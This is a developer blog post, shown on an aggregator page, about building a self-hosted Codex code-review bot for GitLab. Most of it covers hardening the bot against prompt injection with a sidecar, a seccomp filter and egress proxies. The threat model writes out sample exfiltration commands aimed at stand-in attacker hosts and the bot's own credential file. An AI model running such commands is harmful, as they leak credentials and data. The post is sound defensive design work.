惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Application and Cybersecurity Blog
Application and Cybersecurity Blog
A
About on SuperTechFans
S
SegmentFault 最新的问题
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Help Net Security
Help Net Security
有赞技术团队
有赞技术团队
博客园 - 【当耐特】
O
OpenAI News
美团技术团队
月光博客
月光博客
Apple Machine Learning Research
Apple Machine Learning Research
Schneier on Security
Schneier on Security
Webroot Blog
Webroot Blog
Cyberwarzone
Cyberwarzone
Hacker News - Newest:
Hacker News - Newest: "LLM"
Google Online Security Blog
Google Online Security Blog
T
Tenable Blog
S
Security Affairs
博客园_首页
S
Schneier on Security
Security Latest
Security Latest
T
Threat Research - Cisco Blogs
T
Tailwind CSS Blog
大猫的无限游戏
大猫的无限游戏
Spread Privacy
Spread Privacy
量子位
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
K
Kaspersky official blog
Hugging Face - Blog
Hugging Face - Blog
TaoSecurity Blog
TaoSecurity Blog
博客园 - 聂微东
Vercel News
Vercel News
M
MIT News - Artificial intelligence
T
Troy Hunt's Blog
B
Blog
MongoDB | Blog
MongoDB | Blog
Martin Fowler
Martin Fowler
Attack and Defense Labs
Attack and Defense Labs
L
LINUX DO - 最新话题
D
DataBreaches.Net
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Stack Overflow Blog
Stack Overflow Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
博客园 - Franky
W
WeLiveSecurity
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
F
Fortinet All Blogs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
Check Point Blog
H
Hacker News: Front Page

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
I built a custom Codex-powered code review bot for GitLab
Sleeyax · 2026-05-11 · via DEV Community

A merge-request review by GitLab Duo Code Review costs us about $0.20. We're a small team of developers, so $1 for ~5 MR reviews gets expensive quickly.

We had a ChatGPT subscription on the team budget already. The obvious move was to point the subscription we paid for at the reviews we wanted to automate. But Duo wouldn't let me. It only accepts pay-per-token providers, runs a couple model generations behind, and is closed to the prompt and workflow tweaks I wanted.

So I built our team a replacement. It turned into a more interesting rabbit hole than I expected. About three days end to end (Friday plus the weekend): one day for a working proof of concept, one day for the security work, and two half-days for polish. The security work was the most fun part, because running Codex's danger-full-access mode on a locked-down OpenShift cluster turned out to be the only shape that worked there.

Driving Codex from a ChatGPT subscription

OpenAI's @openai/codex-sdk is the supported automation surface. The Codex CLI authenticates via ChatGPT OAuth and writes a refresh token to auth.json. The SDK lets you spawn the Rust codex binary in-process, hand it a prompt, and stream structured output back. That's the hook I needed.

Up front: using a ChatGPT subscription to power an always-on bot stretches the spirit of a plan sold for "interactive human use." OpenAI can change terms or detection heuristics any day. I picked it anyway and built in mitigations: one dedicated account per deployment, concurrency pinned to 1, rate-limit-aware retries, no parallel session fan-out.

What I considered first

Two OpenAI cookbook recipes got close.

  • secure_quality_gitlab runs as a CI job: pipeline starts, Codex executes, posts a CodeClimate JSON artifact, container goes away. Stateless, parallel-safe, billed per token through the OpenAI API.

  • build_code_review_with_codex_sdk is similar. Stateless codex exec per CI run, one-shot review, binary verdict.

Both are clean designs. Both also assume API-key billing and don't speak my problem. They can't resume a conversation when someone replies "actually, why?" on an inline comment. They re-pay tokens on every retry. They don't dedup across re-deliveries. They're the right shape if your constraint is "no infra to run." Mine was different: no per-token bill, threaded follow-ups.

I wanted something that:

  • runs as a service so it can carry conversation state,
  • runs on our existing ChatGPT seat,
  • self-hosts on the OpenShift cluster we already operate,
  • gets new Codex models the day OpenAI ships them.

So I did what any sane developer would do and decided to roll my own custom solution.

From webhook to inline comment

The pipeline is intentionally unexciting. Webhook in, jobs through a queue, one worker driving Codex, results posted back:

GitLab ──webhook──▶ Fastify ──▶ BullMQ (Redis) ──▶ Worker ──▶ codex-sdk
                       │                              │
                       └── verify X-Gitlab-Token      ├── gitbeaker REST
                                                      ├── MariaDB
                                                      └── git worktree

Enter fullscreen mode Exit fullscreen mode

Fastify takes the webhook, validates the shared-secret header with a constant-time comparison, classifies the event, and pushes a job onto a Redis-backed BullMQ queue. A single worker pops the job, prepares a worktree from a bare-clone cache, drives Codex against it, and posts the result back to GitLab as a summary comment plus inline discussions.

Concurrency is pinned to 1. There is exactly one Codex seat behind this thing, and OpenAI's per-account abuse heuristics are not a thing I want to discover the hard way. A single-flight mutex in the Codex client enforces it.

State lives in three places, each with one job:

  • Redis holds the BullMQ queue. Job IDs are deterministic (review-<projectId>-<mrIid>-<sha> and note-<projectId>-<mrIid>-<noteId>), so a re-delivered webhook is a no-op. Lose Redis, lose in-flight jobs. The next webhook re-enqueues.
  • MariaDB holds two tables: reviews (one row per (project_id, mr_iid, head_sha)) and threads (one row per bot-authored GitLab discussion_id). No diffs, no prompts, no LLM output ever land here. Just IDs and pointers. A DB leak tells an attacker which MRs were reviewed. The contents stay out of reach.
  • Codex sessions are owned by the Codex CLI and persisted as JSONL files at $CODEX_HOME/sessions/<id>.jsonl. The bot stores only the thread ID; the transcript lives on a PVC. Resume is one SDK call: codex.resumeThread(id).run(prompt).

That last split matters more than it looks. The most sensitive things the bot handles (full diffs, file contents Codex read, tool calls) never touch the database. They live in files on a single PVC, scoped by namespace RBAC.

How follow-ups work

When you reply on a bot comment with @mr-codex, the webhook arrives with a discussion_id. The classifier looks it up in threads. If it's ours, the worker pulls the linked codex_thread_id and calls codex.resumeThread(id).run(prompt). The Codex CLI loads the session JSONL, appends the new turn, and the model gets the full prior context for free.

Replies without @mr-codex are ignored. That's the rule that prevents bot-to-bot loops and stops the bot from chiming in on every reply to an inline thread.

Mentions outside a bot thread (@mr-codex what does this function do?) get a fresh Codex thread. The resulting discussion_id is still written to threads so subsequent replies on that discussion resume properly too.

The interesting part: making danger-full-access safe

Codex offers three sandbox modes: read-only, workspace-write (both bwrap-based), and danger-full-access (no sandbox).

I wanted bwrap. I couldn't have it.

bwrap requires unprivileged user namespaces (unshare(CLONE_NEWUSER)), which Docker's default seccomp profile blocks. On a normal Linux host you set seccomp=unconfined and move on. On OpenShift, the cluster's restricted-v2 SCC denies seccompProfile: Unconfined outright, and we have no path to a more permissive SCC. I tried rolling a Landlock-based shell wrapper (commit 35da003); same SCC block at runtime. Reverted in 21e04d8.

OpenAI's guidance for environments that can't run bwrap is bluntly stated in an issue comment: let the container be the security boundary. Translated to my situation: harden the pod, accept danger-full-access inside it.

The shape ends up looking like this:

┌─ bot pod ──────────────────────────────────────────────┐
│                                                        │
│  ┌─ container: bot ─────────────────────────────────┐  │
│  │  Node (Fastify)                                  │  │
│  │  codex-sdk → spawns `codex` Rust binary          │  │
│  │  bash/sh → /opt/exec-bin/bash-wrapper            │  │
│  │                                                  │  │
│  │  HTTPS_PROXY        → squid :3128                │  │
│  │  CODEX_HTTPS_PROXY  → squid :3129                │  │
│  │  resolv.conf        → 127.0.0.1:53               │  │
│  └──────┬─────────────────────┬─────────────────────┘  │
│         │ DNS :53             │ unix socket            │
│         ▼                     ▼ (/var/run/exec-sidecar)│
│  ┌─ container: ─────┐  ┌─ container: ──────────────┐   │
│  │  coredns sidecar │  │  exec-sidecar (native)    │   │
│  │  (native, :53)   │  │                           │   │
│  │                  │  │  exec-server runs         │   │
│  │  *.cluster.local │  │  `bash -lc <cmd>` in its  │   │
│  │    → resolve     │  │  own mount namespace.     │   │
│  │  anything else   │  │                           │   │
│  │    → NXDOMAIN    │  │  Mounts: worktrees PVC,   │   │
│  │                  │  │          socket emptyDir. │   │
│  └──────────────────┘  └───────────────────────────┘   │
│                                                        │
│  Pod-level mounts:                                     │
│   - /codex-home  PVC       → bot container only        │
│   - /worktrees   PVC       → bot + exec-sidecar        │
│   - /var/run/exec-sidecar  → bot + exec-sidecar        │
│                                                        │
└──────────┬───────────────────────────────────┬─────────┘
           │ HTTPS :3128 / :3129               │ in-cluster TCP
           │ (HTTPS_PROXY,                     │ (NetworkPolicy
           │  CODEX_HTTPS_PROXY)               │  allowlist only)
           ▼                                   ▼
┌─ egress-proxy pod ─────────────┐   ┌─ mariadb pod ──┐
│  squid (FQDN allowlist)        │   │  reviews,      │
│  :3128  bot port               │   │  threads       │
│    → chatgpt.com, gitlab.com   │   └────────────────┘
│  :3129  codex port             │
│    → api.openai.com,           │   ┌─ redis pod ────┐
│      auth.openai.com,          │   │  BullMQ queue  │
│      *.openai.com              │   └────────────────┘
└──────────────┬─────────────────┘
               ▼
        internet (chatgpt.com, gitlab.com, *.openai.com)

Enter fullscreen mode Exit fullscreen mode

A couple of controls are in place to hold this design together:

1. Keep credentials out of the Codex process tree

The GitLab service-account PAT is for the bot's own API calls (gitbeaker). Codex never needs it. The Codex SDK config scrubs bot-side env vars so they don't reach /proc/<codex-pid>/environ or any of its shell-tool subprocesses.

Same idea for git. When the worker prepares a worktree it clones with the authed URL as a transient argv, then sets the persisted remote to the plain form. Git is spawned with a minimal env (no GITLAB_SA_TOKEN) and -c credential.helper= to neutralize any user-level helper that would otherwise persist the URL-embedded PAT to ~/.git-credentials.

2. Move the shell tool into a sidecar that can't see the credentials

This is the part I'm most pleased with.

Codex's local_shell runs commands as bash -lc "<cmd>". The bot image rewrites /etc/passwd and prepends /opt/exec-bin/ to PATH so both Codex's getpwuid_r lookup and its which::which() fallback resolve bash and sh to a wrapper binary I wrote.

The wrapper does not evaluate the command. It forwards (argv, cwd, env) over a unix socket (/var/run/exec-sidecar/exec.sock, an emptyDir shared between the bot and the sidecar) to a long-running Rust exec-server running in a separate container.

The sidecar mounts the worktrees PVC (RW) and the socket. It does not mount codex-home. So a prompt-injected cat /codex-home/auth.json returns ENOENT. The Codex CLI itself stays in the bot container with full /codex-home access, so token refresh and session writes still work. The prompt-injection-target subprocess runs in a mount namespace where the credentials don't exist.

No extra capabilities, no seccomp changes at the container level, no SCC fight. Pure userspace mount-namespace isolation. Works under restricted-v2 because OpenShift already gave me two containers in one pod and I just used them.

3. Block the lateral path with seccomp

The sidecar idea has a hole. If a prompt-injected bash -lc inside the sidecar can do socket(AF_UNIX) + connect(/var/run/exec-sidecar/exec.sock) + send(<forged ExecRequest>), it can ask the exec-server to spawn arbitrary argv / cwd / env. The attacker already has a shell at that point, so this is a lateral move rather than a privilege escalation. What it gets them is a clean way to forge requests that masquerade as legitimate bot calls.

The fix is a seccomp BPF filter, compiled once at startup with seccompiler, that returns EACCES on any socket() whose first argument is AF_UNIX, and Allow for everything else. The exec-server installs it in Command::pre_exec for each spawned child via seccompiler::apply_filter, which sets PR_SET_NO_NEW_PRIVS and then calls the seccomp syscall. Both work without CAP_SYS_ADMIN. That's what lets this work under restricted-v2 when most sandboxing primitives don't.

The filter is inherited across execve(2), so any subprocess of the spawned bash (python, git, node, …) is also blocked. AF_INET / AF_INET6 are unaffected: HTTPS through the proxy still works, and the courier socket between the wrapper in the bot container and the exec-server stays open because the wrapper isn't subject to the filter.

4. Four layers of egress lockdown

The goal: a prompt-injected curl https://attacker.com (or fetch, or dig anything.attacker.com, or raw bash sockets, or node -e "fetch(...)") fails regardless of which library or runtime the model picks.

  • Layer 1: Pod-local CoreDNS sidecar. The bot pod's resolv.conf points at 127.0.0.1:53. CoreDNS resolves only *.cluster.local and PTR zones; everything else returns NXDOMAIN. Closes DNS exfiltration (dig hex-secret.attacker.com). The bot doesn't need external DNS. HTTP CONNECT proxies do upstream resolution on the client's behalf.
  • Layer 2: NetworkPolicy. The bot pod's only allowed 443 destination is the egress-proxy pod. In-cluster egress is restricted to MariaDB, Redis, and kube-dns. A compromised Codex turn cannot reach neighbor pods, the OpenShift API, or any internal Service.
  • Layer 3: Squid bot port (3128). The bot's own outbound HTTP/S routes here via HTTPS_PROXY. FQDN allowlist: chatgpt.com (the @mr-codex usage endpoint) and gitlab.com (gitbeaker). Anything else gets a 403. Native Node fetch doesn't auto-honor HTTPS_PROXY, so I wired it up explicitly via undici's EnvHttpProxyAgent.
  • Layer 4: Squid codex port (3129). The Codex subprocess gets a different HTTPS_PROXY. Allowlist is OpenAI only. Gitlab is deliberately excluded. A prompt-injected git clone https://gitlab.com/attacker/exfil from inside Codex fails: Codex literally cannot reach gitlab.com.

The reason squid lives in its own pod and not as a sidecar is worth calling out. NetworkPolicy operates at the pod level and does not see intra-pod loopback traffic. A sidecar squid would mean the bot pod's NetworkPolicy itself has to allow outbound to *.openai.com, chatgpt.com, gitlab.com so the sidecar can reach them. That same allowance lets the bot bypass the sidecar entirely with a direct curl. Splitting squid into its own pod lets the bot's NetworkPolicy deny all internet egress and force everything through a place where the FQDN allowlist actually binds.

Every realistic bypass path I could think of dies at one of the four layers, and the layers don't share failure modes. unset HTTPS_PROXY && curl …, node -e "fetch(…)", raw /dev/tcp/host/port redirection, dig hex-secret.attacker.com, git clone https://gitlab.com/attacker/exfil from inside Codex: each one gets caught somewhere different.

Things I deliberately didn't do

  • No retry-on-auth-failure loop. When the OAuth refresh token can no longer be refreshed, the bot edits the MR status comment, pauses the queue, and stops. A human re-seeds auth.json. There's no clever "hold jobs and retry hourly" path. Refresh failure means a credential rotation is needed; silent recovery would mostly mean the queue dies in interesting ways three days later.
  • No per-MR worker scaling. Concurrency stays at 1. Both because of OpenAI abuse heuristics and because one human reviewer's worth of feedback is fine for a team of our size. If we ever need to go faster, the lever is a shorter prompt or a better worktree cache.
  • No "secure local dev mode." docker-compose ships none of the network layers. Local dev is for iterating on bot features. Pretending otherwise would have meant maintaining a parallel security implementation that nobody actually exercises.

Honest trade-offs

This setup beats Duo on cost and customization. It loses on operational overhead: there's a Helm chart, a MariaDB, a Redis, an egress proxy, a CoreDNS sidecar, an exec-sidecar, and an auth.json rotation drill. If you don't have the cluster appetite, Duo's "tick a checkbox in project settings" experience is real value.

It also accepts ToS gray-area risk that Duo doesn't.


A note on availability. This project is closed source. I built it as a one-off internal tool for our team and never planned to publish it. If there's enough interest in seeing the code, drop a comment below or message me directly. I'll talk it over with the team and consider opening it up.